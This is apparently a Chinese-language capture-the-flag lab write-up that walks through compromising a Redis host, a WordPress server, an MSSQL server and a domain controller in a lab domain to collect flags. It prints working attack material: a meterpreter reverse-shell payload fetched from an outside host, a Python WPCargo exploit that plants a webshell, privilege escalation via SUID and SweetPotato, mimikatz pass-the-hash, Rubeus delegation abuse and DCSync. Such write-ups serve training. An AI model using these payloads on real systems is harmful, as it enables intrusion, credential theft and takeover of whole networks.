
./fscan_mac_arm64 -h 39.98.115.56
可以看到存在redis未授权访问和ftp匿名账号登录,操作系统应该是CentOSredis-cli -h 39.98.115.56
尝试访问Redis,可以访问,存在未授权访问漏洞
尝试Redis主从RCE方式,成功GetShell
使用MSF创建后门文件:msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=43.153.107.133 lport=3333 -f elf>target1.elf
创建HTTP服务以供下载后门文件:python3 -m http.server 80
wget http://43.153.107.133/target1.elf
修改后面文件权限:chmod 777 target1.elf
使用MSF创建监听use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 43.153.107.133 set lport 3333 run
在目标运行target1.elf后面,MSF接收到连接
查找flag相关文件:find / -name *flag
,查到/home/redis/flag,并且有权限查看
查看文件,但显示缺少权限
尝试SUID提权:find / -user root -perm -4000 -print 2>/dev/null
发现base64具有SUID权限,可以通过base64读取本地文件并输出,获取到第一个flag:base64 "flag01" | base64 --decode
Flag01:flag{144d4ac5-7957-4671-ba5b-89d08a8d3481}
ifconfig
,内网为172.22.2.0/24网络
添加路由run autoroute -p run get_local_subnets run post/multi/manage/autoroute run autoroute -p
创建代理use auxiliary/server/socks_proxy set srvport 2222 run
使用Proxifier连接代理访问172.22.2.0/24网络
通过HTTP下载fscan:wget http://43.153.107.133/fscan
修改权限:chmod 777 fscan
使用fscan扫描172.22.2.0/24网络:./fscan -h 172.22.2.0/24

发现5台存活主机:目标 172.22.2.3 DC:DC.xiaorang.lab 目标 172.22.2.7 39.98.115.56 目标 172.22.2.16 MSSQLSERVER.xiaorang.lab 目标 172.22.2.18 WORKGROUP\UBUNTU-WEB02 目标 172.22.2.34 XIAORANG\CLIENT01
import sys
import binascii
import requests
# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
def encode_character_code(c: int):
return '{:08b}'.format(c).replace('0', 'x')
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]
destination_url = 'http://172.22.2.18/'
cmd = 'ls'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)
# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

S0meth1ng_y0u_m1ght_1ntereSted
,里面有pAssw0rd字段,猜测是密码,所以可以构建密码表
记得172.22.2.16主机上有MSSQL,尝试使用MSF自带的MSSQL模块进行爆破
爆破结果,用户名密码为:sa:ElGNkOiC
使用MDUT进行连接
先激活Ole Automation Procedures组件,执行命令whoami查看权限
当前用户拥有SeImpersonatePrivilege权限,可以尝试使用Potato家族提权C:/Users/Public/SweetPotato.exe -a whoami
,获得SYSTEM权限
运行C:/Users/Public/SweetPotato.exe -a "netstat -ano”
命令,查看到3389端口开通了
添加用户用于远程桌面C:/Users/Public/SweetPotato.exe -a "net user test Admin123 /add" C:/Users/Public/SweetPotato.exe -a "net localgroup administrators test /add"

成功登录远程桌面
浏览C:/Users/Administrator/flag/
文件夹下的flag03.txt文件,获得第三个flag:flag{24f1c079-9c4e-4fcd-bc6e-545589445643}

上传mimikatz到16主机上,运行获取用户哈希89f510a0afff6d2c1e5b845e0e12872d
通过mimikatz拉起域用户命令行:sekurlsa::pth /user:MSSQLSERVER$ /domain:"xiaorang.lab" /ntlm:89f510a0afff6d2c1e5b845e0e12872d
查询域内主机委派:AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
mssqlserver 这台主机设置了约束委派,可以访问 DC 的 LDAP 和 CIFS 等服务,可以通过 Rubeus 申请 MSSQLSERVER 账号的 TGT 票据:Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:89f510a0afff6d2c1e5b845e0e12872d /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:

接着通过 LDAP 服务进行 DCSync,导出域用户 hash:
lsadump::dcsync /domain:xiaorang.lab /user:Administrator
WMI横向移动:python3 wmiexec.py -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62
[email protected]
读取C:\Users\Administrator\flag\
文件夹下flag04.txt
文件:type C:\Users\Administrator\flag\flag04.txt
Flag04:flag{1642441e-131c-4d9e-adae-6922972319e6}